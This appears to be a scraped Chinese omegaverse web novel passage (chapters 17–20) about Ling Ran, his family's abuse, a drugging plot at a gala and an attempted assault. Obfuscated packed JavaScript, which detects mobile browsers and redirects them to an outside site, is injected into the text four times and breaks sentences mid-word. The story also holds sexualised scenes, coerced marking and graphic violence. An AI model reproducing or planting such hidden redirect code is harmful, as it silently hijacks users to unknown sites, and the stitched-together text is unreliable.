;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13493849|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人是宋义,他捧着个精致的白色盒子,笑眯眯地对凌然道:“凌先生,早,这是江总一早命人送来的东西,说是要让我亲自看着您带上。” 凌然不明所以,打开那个盒子一看,里面竟然是一个崭新的白色抑制器,看起来比脚环要大些,款式也更加好看,边缘地方竟然还带着蕾丝花纹。 宋义解释道:“这是国外最新款的腿环抑制器,是需要佩戴在大腿上的,可以更加贴合肌肤,而且非常隐蔽,平常穿衣服也绝对不会被人发现,您快带上试试吧。” 凌然将那个抑制器拿出来,隔着裤子在自己大腿上比划了下,尺寸竟然正好合适。 他的腿虽然很细,但并不是瘦如柴的类型,相反他大腿上有些软肉,皮肤也白的像是能发光,如果上手捏一捏,便能捏出满指泄出来的嫩肉,像剥了壳的果肉似的。 江之屿怎么能如此精准的目测出他的腿围? 凌然不知为何,耳根默默红了瞬。 他对宋义道了声谢,顺便问道:“这个腿环抑制器多少钱?” 他早晚是要还给江之屿的,总不能白白拿人家东西。 宋义笑道:“比国内的是要贵一些的,可能要七位数了呢。” 凌然:“?﹏?” 要不他还是每天都打抑制剂吧。 这么多钱把他卖了他也还不起的,这么贵的腿环整天带着,他恐怕会连路都不会走了。 宋义见他为难,生怕他是不愿意带上,忙道:“凌先生不用担心,江总不会在意这点小钱的呢。” 凌然嗫喏地“嗯”了声。 他以后如果真的能进入江舟娱乐工作的话,那是不是可以直接申请公司不必给他发工资了。 他的工资直接打到他们江总的账户上就好了。 凌然还是拿着那个白色蕾丝样式的抑制器进了浴室,佩戴在大腿上后,腿环的边缘处有些嫩生生的腿肉被挤压了出来,沿着腿环一周,形成了一圈微微的凹陷。 卡得倒是很牢固,走动间也不会被人看出来。 凌然穿好裤子,从浴室内出来了。 宋义顺利完成任务,领着凌然下楼吃了早饭。 江之屿早上就已经出门去了公司,凌然吃完饭后,便被赵钦送回了家中。 凌溯和凌沫都不在家,凌然松了口气,赶紧上楼回了房间。 打开跟【小叔】的聊天界面,他发过去条消息。 【不吃葡萄】:谢谢您送我的抑制器,可是这真的太贵重了,我没办法直接收下,就当是您暂时给我借用几天可以吗? 发完之后,他颇为忐忑的等着那边回消息,可是等来等去,直到天黑下来,那边都无人回复。 即时这个新款抑制器能放水蒸气,洗澡的时候凌然还是小心翼翼地摘了下来,等洗完澡之后再重新佩戴上去。 他打开手机想最后再看一眼消息,却见微信上有个小红点。 他心脏不知为何跳动地快了些,屏住呼吸点进了聊天页面。 【小叔】:在开会 【小叔】:大么 18.第 18 章 凌然低头看了眼,腿肉被白色蕾丝腿环勒得浅浅凹陷了进去。 不疼,与嫩白的大腿相称,看起来颇为纯情,却又总让人觉得太过淫靡了些。 【不吃葡萄】:不大的 凌然抱着手机趴在床上等了好一会,屏幕亮了又灭,灭了又亮。 对面没再回复。 最后他实在坚持不住,倒头睡了过去。 这腿环抑制器确实效果更加显著,凌然早上起床便觉神清气爽,发热的症状彻底没有了。 他又自己去医院找徐观意检查了下身体,顺便带上了那个破碎的脚环抑制器。 徐观意可惜的叹息了好几声,可那脚环实在被破坏的太严重,修不了了。 凌然很是低落,只好又小心翼翼地装回了盒子里。 看着小Omega一脸要哭不哭的可怜样,徐观意拍了拍他的肩膀,宽慰道:“没事儿啊,反正都是江家掏钱,你这病本来也是被江盛译信息素影响才会得的,按说都得怪到他头上。” 现在纠结谁是罪魁祸首已经没了意义,可如果他要与江盛译退婚的话,那他跟江之屿也就没了任何关系,这钱总归是必须要还的。 “你的信息素水平现在倒是比较平稳了,但还是不能大意,之前给你开的药要记得按时吃,还有记得定期来医院复查。”徐观意嘱咐道。 这小Omega明明是凌家小少爷,可是得了病却连一个跟在身边照顾的人都没有,徐观意很是想不通他们这些豪门大户复杂的家族关系。 “谢谢徐医生。”小Omega抱着怀中的盒子,乖乖冲他道了谢。 徐观意忍不住补充道:“上回江总也在,我没方便说得太明白,其实你这个病也好治,找个alpha咬一口比吃再多药都管用,当然最好是能终身标记,体内成结的话alpha的信息素浓度值能达到最高,可以直接刺激萎缩的生殖腔继续发育,归根结底你是因为对伴侣信息素依赖过度,身体得不到满足才会引发各种并发症,像你这种强依赖症的Omega,我们一般就是建议尽快婚配……” 凌然听着徐观意直白的病症描述,一张小脸先是被吓得惨白,接着又变得通红,最后脑袋快要埋进面前的盒子里,红得快要滴血的耳根要烧着了似的。 徐观意知道他这种没经历过人事的Omega脸皮薄,干咳了两声,也就没再继续说下去。 “对了,那个尹什么楚的,就住在楼上病房,你要不要去看看?我听说他摔伤的时候你也在?” 徐观意只不过随口一问,凌然脸上的红晕却在急速褪去。 细白的指尖轻轻扣紧了怀中的白色盒子,最终凌然还是问了尹楚病房的位置,坐电梯上了楼。 来到VIP病房门外,凌然并没有推门进去,他只是隔着门上的玻璃,远远朝着里面望了眼。 尹楚果然躺在病床上,往日光鲜柔美的脸颊此刻苍白如纸,他左边脚踝上被纱布层层包裹,俨然肿起来了一个大包,像是挺严重的样子,要好几天不能下地。 昨晚江盛译把他送进医院后,就立即给他办了住院手续,虽然只是脚踝扭伤,可是对于从小到大娇生惯养的Omega来说,也要承受不小的痛楚。 尹家是确确实实把尹楚放在了掌心中疼爱的,所以尹楚从小要风得风,要雨得雨,即使他要江舟娱乐最好的新闻栏目,尹老爷子也亲自登门从江家讨了去。 可他想要江之屿,从分化成Omega之后的每一天都在想。 但是enigma拒绝他的理由是个无解的死局。 因为他是Omega,对于enigma来说并不是最佳的伴侣选择。 尹楚并不愿放弃,他知道江盛译喜欢自己,所以他把江盛译当备胎,如果最终没法嫁给江之屿,那起码还能嫁给江盛译,只要能嫁进江家,他总还有数不清的机会能接近江之屿。 凌然就那么站在门口看着,他忽然听见病房内传出来隐隐哭声,定睛一望,是尹楚在哭。 漂亮的眸子中布满泪水,一眨不眨地看向坐在不远处高大英俊的男人,哭得梨花带雨,很是动人。 凌然的视线便也转向了病床侧边的那个沙发,从他的角度只能看见一个硬朗宽阔的背影,西装革履,矜贵无比。 认出来那道身影是谁后,凌然心头猛然剧烈一跳。 不知为何,一股从胸口弥漫上来的酸涩劲冲上了他的眼眶,叫他莫名便心生万般委屈。 尹楚在跟江之屿哭诉什么,他听不清楚。 迈进这间病房说出自己的冤屈,他没这个胆量。 况且江之屿只不过是在危急时刻为自己解了几次围,与他而言不过是举手之劳,与自己而言却是值得感恩戴德铭记于心的恩情。 但是谁说了这份恩情只能给自己一个人。 从小没被偏爱过的孩子,一点小恩小惠便值得偷偷窝藏在心底回味许久。 凌然垂下眼眸,看着自己怀中的白盒子,里面还放着那个被哥哥踩坏的抑制器。 背后忽然传来医生护士查房的脚步声,看见了凌然便扬声问了句:“您是来看望病人的吗?” 凌然被吓了一跳,怀里的盒子差点掉到地上。 他捧着盒子连忙摇了摇头,没有注意到病房内望过来的视线,低着头飞速逃走了。 那个坏掉的脚环抑制器被摆放在了床头的柜子里,碎裂的显示屏也被小心地一片片沾了回去。 可即时恢复地再好,上面也总是布满了斑驳裂纹的。 * 凌然用心准备着下周的终面,秦诚月也打来电话说自己被捞进了终面,到时候可以和凌然一起去江氏集团总部面试了。 两人互相作为评委听对方的发言,每晚都练到深夜。 凌然有把握自己一定可以凭借努力通过面试,拿到最终进入江舟娱乐的名额。 然而就在面试前一天,在国外出差将近两个月的凌父凌母回了国。 许久未见父母,Omega脚步轻快地从楼上跑下来。 “爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13503414|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸,我……” 话音未落,凌然便察觉到父母冷结成霜的阴沉脸色,他有些害怕,迈下楼梯的脚步不自觉往后缩了缩。 凌父是个驰骋商场几十年的alpha,威严有加,平日里总是不苟言笑,极少数时候才会对凌然露个笑模样。 此刻凌父板着脸,面色铁青,凌然便知道大事不妙了。 “我和你母亲不过出差的功夫,你就能在家里惹出大祸来,看来真是我平日里对你的管教太少了!” 凌父如此说着,对楼梯上一脸无措的Omega冷声呵斥道:“竟然敢对尹楚动手,是想让尹家和江家都找上门来指着我和你母亲的鼻子骂吗?!还不给我滚过来跪下!” 凌然眸中迅速积聚起一汪清泪,他不敢置信的望向一旁沉默的母亲,希望至少母亲是相信他,站在他这边的。 可那个总是更加偏心于哥哥姐姐的女alpha此刻也心硬如石,只远远的看着凌然,开口说道:“小然,这次是你做得太过分了,你不该这么娇纵无礼,尹楚和盛译关系是好些,可你也不该害得他摔伤了腿,这样只会让盛译更加讨厌你,你懂吗?” 凌然没想到父母回国看到他的第一件事竟然不是听从他的委屈,而是站在外人那边一起来审判自己。 “不是,不是我做的,我没有害他……” 这话听在凌父耳中只是无力的狡辩之词,他大步上前,一手拉住Omega纤细的手臂,将他从楼梯上直接扯了下来,按着他跪在了冷硬的石砖上。 “你还敢撒谎?凌然,我和你母亲从小就是这样教育你的吗?”凌父怒不可遏,随手从一旁架子上抓起来个物件就狠狠扔在了他身上。 那是个造型漂亮的陶瓷花瓶,“咚”一声砸在纤瘦的身子上,然后“哗啦”一声掉落在地,碎得四分五裂。 凌母上前拉了拉凌父的手臂,劝说道:“你也消消气,小然应该是知道错了,别对孩子动手,他大了,好好跟他说道理他能听得懂。” 碎裂的瓷器花瓶飞溅,不知何时将凌然脚底割破了条口子,鲜血在雪白肌肤上缓缓流下,可他像是没有知觉,沉默的垂着脑袋跪在地上,瘦小的脊背挺得笔直。 “你看他这个倔样,你觉得他能听得进什么道理?!” 凌父暴怒道,“我真是恨不能把他脑袋敲开,看看他这个蠢脑子究竟装的什么东西!整天就知道捣鼓那些破烂新闻,以后也只不过是抛头露面给人玩弄的乐子罢了,要是他能老老实实嫁给江盛译倒也省心,起码还能给家里带来点好处,可是他竟然还非要在婚期前给我搞这么一个烂摊子!” 凌然抬起手背,用力擦了下眼尾。 他还有更大一个烂摊子没有公布呢。 “爸爸,妈妈,”凌然轻声道,“我不结婚了。” 寂静的别墅内像是骤然平地响起一声惊雷,凌父凌母两人只觉眼前一阵昏花。 “你说什么?!” 凌然语气淡淡的,却异常坚定。 “我要退婚。” 19.第 19 章 凌然性格一直温软乖巧,还从没有如此执拗过,凌父气上心头扔下狠话,叫他如果想不通就不用起来了,一直跪下去,跪到不再提退婚两个字为止。 凌然低垂着眼眸跪在书房前,像个冰冷精致的雕像,静静的沉默不言。 原本这场抗争不知道要闹到什么时候才能收尾,“海市峰会”论坛晚宴的邀请打破了凌家这两日低到谷底的氛围。 凌父凌母原本就是为了赶上这次的峰会才紧赶慢赶回了国,他们不会容忍任何变数影响正事。 “海市峰会”三年举办一次,各行业顶尖翘楚都会在这几天汇聚于此。而可以携带家眷,气氛又较为轻松的晚宴正是拉拢人脉,洽谈合作的最好时机。 今年峰会晚宴定在蓝利亚港湾海岛上举行,这座漂泊在深水湾的海岛四周荡漾着世上最纯澈透明的果冻海,因此还有个享誉世界的美称——海洋上的蓝宝石。 江氏是晚宴特邀贵宾,定然会去参加,若凌家所有人都出现独独缺了凌然,倒是显得怪异。 在凌然被罚跪之后还不肯顺从后,凌父也只能暂时不与小omega计较,带他跟凌溯凌沫一起乘坐邮轮赶往海岛赴宴。 “见着江家人记得闭好嘴,敢提退婚的事看我回去怎么收拾你。”凌父站在甲板上冷着脸说道。 凌然这两日都没怎么进食,今天出门的时候只匆匆打了针营养剂,这会儿膝盖还肿胀的疼着,整个人都身子发虚,小脸也有点苍白。 他知道晚宴江盛译一定会来参加,只要见到江盛译,他就马上提出要退婚的事。 凌父说完就折身进了邮轮船舱内,忙碌着与几位业内高谈阔论去了。 凌然也回头望了船舱内一眼,那些人表面左右逢源虚与委蛇,实际上伪善得很,现在看起来是其乐融融的氛围,转头便会冷漠无情的唯利益至上。 忽然有个众星捧月的身影从邮轮二层缓缓踱步下来,与生俱来的凛冽气场和摄人心魄的强悍威压会让人不自觉讨好顺从,更别提那张俊美得如刀刻斧凿般的完美面庞,无论从哪个角度看过去,都显得如此完美无缺。 察觉到那道幽深的眼神穿过众人,募地朝着甲板上看过来,凌然有些慌乱的立即移开了视线。 湿咸的海风徐徐吹在脸上,凌然心脏扑通扑通乱跳了几下,他低头望着被船身劈开的层层碧波,不知道是希望那人看见自己还是没看见。 刚才上船时他并没有看到江之屿,还以为他没来。 邮轮很快驶进了蓝利亚港湾,这处的海水都要比其他地方更加明蓝澄澈。 众人分批换乘游艇上了海岛,先被服务生引领着去往沿海岛海岸线修建的一整排海景套房中办理入住。 晚宴要接连举办三天,众人在这期间便会住在各自房间内。 第一晚的晚宴极为盛大,灯光璀璨的会厅内所有人都盛装出席,争奇斗艳。 凌然一直乖乖跟在家人身后,他四处找寻江盛译的身影,可在偌大会场转了半圈,都没看见他人影。 凌沫见凌然脸色还是不怎么好看,便对凌父悄声道:“爸,要不让小然先去旁边休息吧,我和哥在这陪着就行了,等会见着江家人再让他过来打招呼。” 凌父点头后,凌沫才让凌然去找地方坐会。 凌然确实走得累了,他腿还疼着,只是一直在咬牙坚持罢了,在角落的沙发坐下后,他在一旁花花绿绿的果汁中随便挑了杯,抱着慢慢喝,同时一双眼睛警惕地四处转着。 他一个人坐了好一会,果汁都喝了三杯,谁知道还没看到江盛译,却看见了在江家老宅上有过一面之缘的汤俊。 汤俊今天收拾的利索,一身西装,头发喷了两斤发胶似的朝后梳着,长得还算可以,但一双眼睛总让人觉得冒犯猥琐,像黏答答的稠液,沾上就甩不掉。 他端着杯香槟凑到凌然跟前来,眼神毫无遮掩地在omega又纯又魅的漂亮脸蛋上来回打量,咧着嘴笑起来:“这次又是在找谁呢?用不用哥哥帮帮你?” 凌然对他没有好印象,站起身便要走开。 汤俊拦住他去路,周围人多,也不好直接上手。 “找你那未婚夫呐?我看见他了,他跟尹楚在一块呢,你不觉得他们两个看起来挺般配的?要不你别跟他了,跟我怎么样?”汤俊笑着道,“我也不比他差在哪吧,这整个蓝利亚港湾都是我老子开发的,只要你跟了我,我肯定比他会怜香惜玉,omega能不能生孩子我压根不在乎。” 凌然听见他这么说,眼眸都微微睁大了些,眼神中充满震惊和不敢置信。 汤俊跟他碰了碰杯,压低嗓音调笑道:“好奇我怎么知道你有生育问题的?要不这样,你跟我去房间,我就告诉你。” 其实不用问,凌然想了下,便能猜到个大概,或许是蒋蓉莲或者蒋姨母在哪次牌局上随口抱怨了几句,事情便会被添油加醋地一传十十传百。 不远处凌溯在朝着这边招手,凌然无视面前的人,绕开他走了过去。 凌溯带着凌然绕了大半个会厅,推开扇门,前面是通往住处的长廊。 “刚才盛译好像是有点不舒服,我把他先送回去休息了,等会我还要回会厅,爸妈说让你先去照看着点,帮盛译找个医生来看看。” 凌然正好在到处找江盛译,并没有发觉凌溯在说这话时略显心虚的表情。 面前的房门打开,里面黑漆漆一片,凌然刚提步迈进去,凌溯便将房门在他背后“砰”一声合上了。 凌然被吓了一跳,转而闻到了一股极其浓烈躁动的雪松味道。 这是与他有着百分百契合度的alpha信息素,天生便会对他有极为致命的吸引力,幸而凌然今天贴身带着信息素抑制器,为了以防万一,他还提前将那个腿环的档位开到了最大。 所以现在黑暗中这股浓到呛鼻的雪松味没能将他诱导至发情,反而像是化为了细细密密的针刺,叫他浑身难受的厉害。 凌然后知后觉意识到事情不对,这么浓的信息素味道,像是alpha的易感期。 他立即转身朝着门边跑,可身后却忽然伸过来一只强有力的手臂,猛得扼住了他的脖颈,将他一把拖了回来。 …… 凌溯在外面等了会,那杯能催发alpha易感期的酒是他递给江盛译的,只要这两人生米做成熟饭,那这婚就非结不可了。 等到觉得小omega不可能会再跑出来后,凌溯放下心来,整理了下衣领,满面春风地穿过走廊回了会厅。 谁知走廊上的人影刚刚消失,那扇禁闭的房门就瞬间被人从里面用力拉开来。 凌然脸色苍白如纸,一手紧紧攥着碎裂的酒瓶残躯,另一手拼命捂住不断流血的后颈,双眸失神地从房间内跑了出来。 他感受不到膝盖的疼痛,也没察觉到碎酒瓶已经将柔嫩的掌心割破,他只知道他好痛苦,痛苦的想哭,痛苦的快要死掉了。 曾经他有多希望江盛译能给他个临时标记,现在他就有多厌恶这股味道。 他头脑晕涨的厉害,辨不清方向,只知道竭力闷头向前跑着。 然而转过一个拐角,迎面却撞上个身影。 汤俊正准备破口大骂,却见面前的小omega红着眼眶,一副要哭不哭的可怜样儿,手上都是血,身上还带着雪松和玫瑰香葡萄两种信息素交织的味道。 没想到这个小omega的信息素味道竟然是花香和果香混合的味道,那种甜腻纯美的诱人香气就从他紧紧捂着的后颈处传来。 汤俊经手的omega多了,一眼便看出来他刚刚遭受了什么。 汤俊邪笑着凑到凌然跟前用力嗅了下,不怀好意道:“你刚刚被标记了?” 凌然正在承受着难耐的痛苦,明明是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13519976|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百分百的契合度,可他的身体却在极力排斥着那股雪松信息素的入侵。 他两腿颤颤巍巍的,快要站立不住。 汤俊连忙过来想伸手搂住那抹纤细的腰肢,可谁想到小Omega猛然后退两步,手在跟前胡乱挥了两下,那个碎酒瓶就划伤了alpha的手臂。 “嘶——” 汤俊皱着眉,表情忽然就变了个样:“你现在装什么清高样呢?身上还带着alpha信息素的味就敢在外面乱窜,难道不是找草呢?老子好心帮帮你,你还不知趣了是吧?” 凌然后背靠在了走廊的墙壁上,这会儿会厅内的活动正进行到高潮部分,他能隐约听见走廊尽头传来的阵阵笑声和喧闹声。 可走廊上空空荡荡,只有他和汤俊两人。 凌然头疼的厉害,呼吸也渐渐加重起来,他使劲晃了晃脑袋,想让自己保持住清醒的意识。 汤俊能看出来他已经快要坚持不住了,四下无人,这是个大好的时机,反正江盛译看起来并不在乎这个小Omega,不然也不会咬了一口就把人扔了。 既然这样,那借给自己玩两天应该也好商量吧。 “好了,跟哥哥我就别装了。” 汤俊闻着越来越甜的Omega信息素味,已经被勾的有点憋不住了,他一把扯住了凌然的头发,把小Omega反手按在了墙壁上,那处微微渗着血的腺体就毫无阻隔的暴露在了眼前。 “你跟哥哥说,江家人是不是都玩过你了?” 凌然头皮被人扯得发痛,他想要挣脱出来,却根本不是强壮的alpha的对手。 汤俊舔了舔唇,手下加重了些力道:“江之屿呢?他也上过你?就你这小身板能受得住?” 一边说着,汤俊一边露出来犬齿,瞄准了小Omega白皙的后颈,张口便想要狠狠咬下去。 凌然紧紧抿着唇瓣,趁着身后之人倾身压过来时,抬起脚来用尽全身力气朝着他□□位置狠命一踹。 可是脚下揣了个空,背后不知为何发出了一声“咚”的剧烈闷响。 凌然没来得及回头,抬起来的那条腿忽然被更加强势有力的一股力道压制了回去。 他顿时无措的掉下眼泪来,连什么时候被人搂腰抱着转过了身子都不知道。 直到头顶传来道低沉醇厚的嗓音,像是浸了烈酒般醉人悦耳,带着股抚慰意味,靠得他极近,对他说道:“睁眼。” 凌然仿佛被驱使般,乖乖睁开了泪眼,便看见眼前早已换成了一张俊美华贵的脸。 enigma这般近距离的靠过来时,从后背看过去,挡得严严实实,能将娇小柔弱的Omega尽数包裹在胸前。 江之屿抚一把他脸上的泪,眸色暗淡。 小Omega像是呆掉了,傻掉了,不知道该做何反应了,一双泪意朦胧的桃花眼还在不停往外渗着水,像是有滔天委屈从里面挣扎着冒出来,不必再开口言说。 江之屿也闻到了走廊上弥漫开来的玫瑰花香葡萄味,他抬手,把自己后颈的阻隔贴揭了下来,按着小Omega纤长白皙的脖子,覆盖在了那处孱弱渗血的腺体上。 刚刚被alpha咬过的腺体此刻红肿敏感,而带有更加强势的enigma信息素只不过从阻隔贴上散发出来一点,便能将那股alpha信息素直接压制住。 信息素如果通过□□传播,浓度会更强,影响力也会更加显著。 凶猛激烈的龙舌兰信息素没有任何阻隔,强悍不容抗拒的渗入Omega的腺体中,与那股雪松信息素在羸弱娇嫩的躯体内互相纠缠,撕扯,叫嚣着要将对方从Omega体内驱逐出去,好让自己将这具柔软香甜的身体独享。 凌然几乎是瞬间睁大了眼眸,瞳孔因为侵袭上来的痛楚而剧烈收缩,他再也站立不住,面色潮红的一头栽进了enigma的怀中。 20.第 20 章 江之屿一手将怀中的小Omega搂住,指尖将那片阻隔贴又往下按了按。 怀中纤瘦的身子猛然一阵剧烈颤抖,喉间发出了类似小动物般的轻声呜咽,那只手这才松了些,转而向上探去。 修长五指插进了蓬松柔软的发丝间,极轻地从中揉捏着,缓解了刚才被人扯着头发的剧痛。 凌然整个人都趴在enigma身前,裸露在外的脖颈上泛起一片薄薄的雾粉色,源源不断的眼泪尽数蹭到了他的衬衫上。 两人身后渐渐传来几声哀嚎,凌然只露出双眼睛,往江之屿身后望了眼。 汤俊不知道什么时候趴在地上的,脑袋上还蒙着件名贵的手工西装。这会儿他像是被疼醒了,痛呼着便要从地上爬起来。 江之屿扶着凌然让他靠墙站稳,转身走到汤俊跟前。 汤俊正准备骂骂咧咧地将头上的西装扯下来,凌然便看见江之屿不动声色,解开了衬衫的袖口。 接着下一秒,地上趴着的alpha被一股极大的力道直接一把拽了起来,西装外套紧紧包裹在头上,一只手隔着西装按着那颗脑袋,又是“咚”一声闷响,狠狠砸到了走廊的墙上。 汤俊被这一下子再次砸的头晕眼花,站立不住险些直接躺倒下去,可按着他头的那只手没打算放过他,一下,又一下,不要命似的朝着冷硬的磁砖墙上死磕。 三十几万的西装算是废了,不过这样血不会溅得到处都是。 凌然看不透那双深渊似的眼眸中到底藏匿着什么情绪,只是汤俊已经没了声音,早就昏死了过去。 江之屿很少动手,尤其是在今晚这样一个重要的场合。 腰上忽然被一双细白的手臂从背后抱住,比寻常体温要高一些的身躯靠了过来。 他松开了那个晕死成一滩烂泥似的alpha,转过身,将Omega打横抱了起来。 这个怀抱温热宽阔,隐隐带了些特级龙舌兰酒味,像是一方充满了安全感的小小天地,Omega体内两股信息素还在激烈交战,红润小脸有些主动的贴了上来,想多嗅嗅那股龙舌兰信息素味道。 察觉到怀中人索取的举动,江之屿抱着人折回身子,绕过悠长走廊,来到了极为静僻的一处套房,开门走了进去。 将Omega放到了大床上,江之屿拨给赵钦一个电话,让他先去处理下还在走廊上趴着的alpha,再找个医生过来。 赵钦跟着江之屿好些年,在看到西装外套下一张血肉模糊的脸时,还是被吓了个不轻。勉强辨认出来是汤俊后,赵钦更是吓得魂都快飞了。 哆哆嗦嗦探了探alpha的鼻息,还好有口气在。 接着赵钦领了海岛上的医生来到房门口,敲了敲门。 过了会,房门才被人从里面打开。 江之屿刚洗了个澡,身上一股难闻的alpha信息素和血腥味,实在恶心。 他只松散的披了件睡袍,高大强健的躯体特征化异常卓越明显,比寻常alpha更加优美强悍的肌肉轮廓在白色睡袍下若隐若现,无不彰显着喷薄待发的侵略性。 幸而医生也是个beta,且极有专业素养,进屋后目不斜视,走到床边来便为小Omega查看病症。 先小心翼翼地将他掌心里的碎酒瓶片取出来,幸而嵌进去的不深,伤口也不用缝针,涂了药把手包扎上就好,满身的血看来也都是别人身上流的。 医生正准备掀开被子再看看他身上还有没有其他伤处,却被身后传来的声音打断了。 “先出去吧。” 赵钦立即反应过来,连忙请了医生回去休息,医生走前特意留了几支药膏,一支涂手的,两支涂腺体的。 房门重新关上后,江之屿才点了支烟,走到床边,居高临下的看着在床上深深陷入昏睡中的人。 睡梦中的Omega也极不安稳,两颊比刚才更红了几分,那份云蒸霞蔚似的雾气粉红,从白皙尖细的下巴,一直蔓延进领口中。 这是因为他刚被命定之番临时标记了的缘故,虽然有抑制器的作用在,但直接从腺体进入血液的信息素浓度太高,太激烈,不是弱小的Omega能够抵抗得住的。 而且,他的腺体上现在还贴着沾满了enigma信息素的阻隔贴。 一边是百分百匹配度的命定之番,一边是高高凌驾于所有性别之上的特级enigma。 一场没有硝烟的剧烈抗争正在Omega体内愤然交战。 指尖的烟快要燃尽,江之屿随手掐了,俯身靠近床边,将被子一把掀开来。 骤然感觉到冷空气的Omega浑身抖了两下,眉心蹙起,没有醒。 江之屿摸了摸他的衣服,几乎已经快要被汗湿透了,Omega好像比前几天见到的时候又瘦了些,细韧的腰肢两侧胯骨高高突起。 空气中的玫瑰花香葡萄味浓了几分,原本一颗青涩的葡萄从头到尾都被在蜜水里浸泡过了,剥开了外皮,里面的白嫩果肉也湿哒哒滴着水,被两股信息素争着催熟了,熟烂了,烂透了。 在看到小Omega乖巧佩戴着的白色腿环后,那张古井无波的俊美脸庞上终于有了丝松动,狭长的眼眸轻轻眯起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13519977|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实不大,是他没估量对,以为凭这小Omega的身板,应该没二两肉。 那双腿还是细的,但是骨肉匀称,尤其大腿上看着丰盈些,所以才会被可怜兮兮地勒出来一圈软肉。 但是再往下,两瓣小巧圆润的膝盖骨上竟然乌青一片,看起来不像是刚弄出来的伤,倒像是在前几天便受了罚。 江之屿摸过来床头上放着的药膏,挤出来用手沾了些,颇为轻缓地将乌青之处涂上了药,还有覆在白皙脚背上的一道浅浅划痕,也被悉心照料到。 涂好药后,他给远在欧洲的徐观意去了个电话。 简单说明了下凌然的情况后,徐观意语气就郑重起来。 “他现在还发热吗?” 江之屿在小Omega的脸上抚了把,细腻嫩滑,比得上最好的琼膏玉脂,还带着些沾湿的泪意。 “热。” 徐观意道:“那就不太妙了,你之前帮他缓解过发情期,他对你的信息素已经有了接纳的本能,两种信息素会在他身体里打架,打个天翻地覆你死我活,当然这个过程不知道会持续多久,他也会极其痛苦……” “怎么解决?”江之屿言简意赅地问。 徐观意沉默了片刻,说道:“两种办法,要么再让命定之番咬他一口,给他个更深刻的临时标记,要么你咬他一口,enigma能覆盖掉任何alpha的临时标记,只要你多给他点信息素,足够把他体内原来的临时标记彻底覆盖掉就行了。” 当然,这样做也可能会产生些别的后果,必如会直接将Omega诱导至发情,再比如会让Omega的依赖症状加重,但是不管怎样,状况不会比现在更糟糕就是了。 徐观意像是知道对面的人会怎么选,挂掉电话前还善意提醒道:“对了,你记得要提前把他抑制器解下来。” 房间内重新陷入一片静谧,只能听见Omega忽轻忽重的难耐喘息声。 电话铃声又响起来。 来电人是今天刚在邮轮上谈了个合作案的严惜闻,严氏集团新任总裁,这会儿是故意来跟他通风报信,拉近关系。 “江总刚才不在,可是错过了一场好戏,”严惜闻在电话那边笑着道,“你们江氏集团的盛译总,半小时前当着所有人的面宣布了一件大事,说是和凌家解除了婚约,换言之,就是他跟凌家那个小儿子退婚了啊。” 电话这端的人似乎并不意外,只是勾着唇角,轻笑了声。 “是么。” 冷玉般的指节探出去,堪堪擦过柔腻腿肉,按亮了那个细细的白色腿环上的显示屏。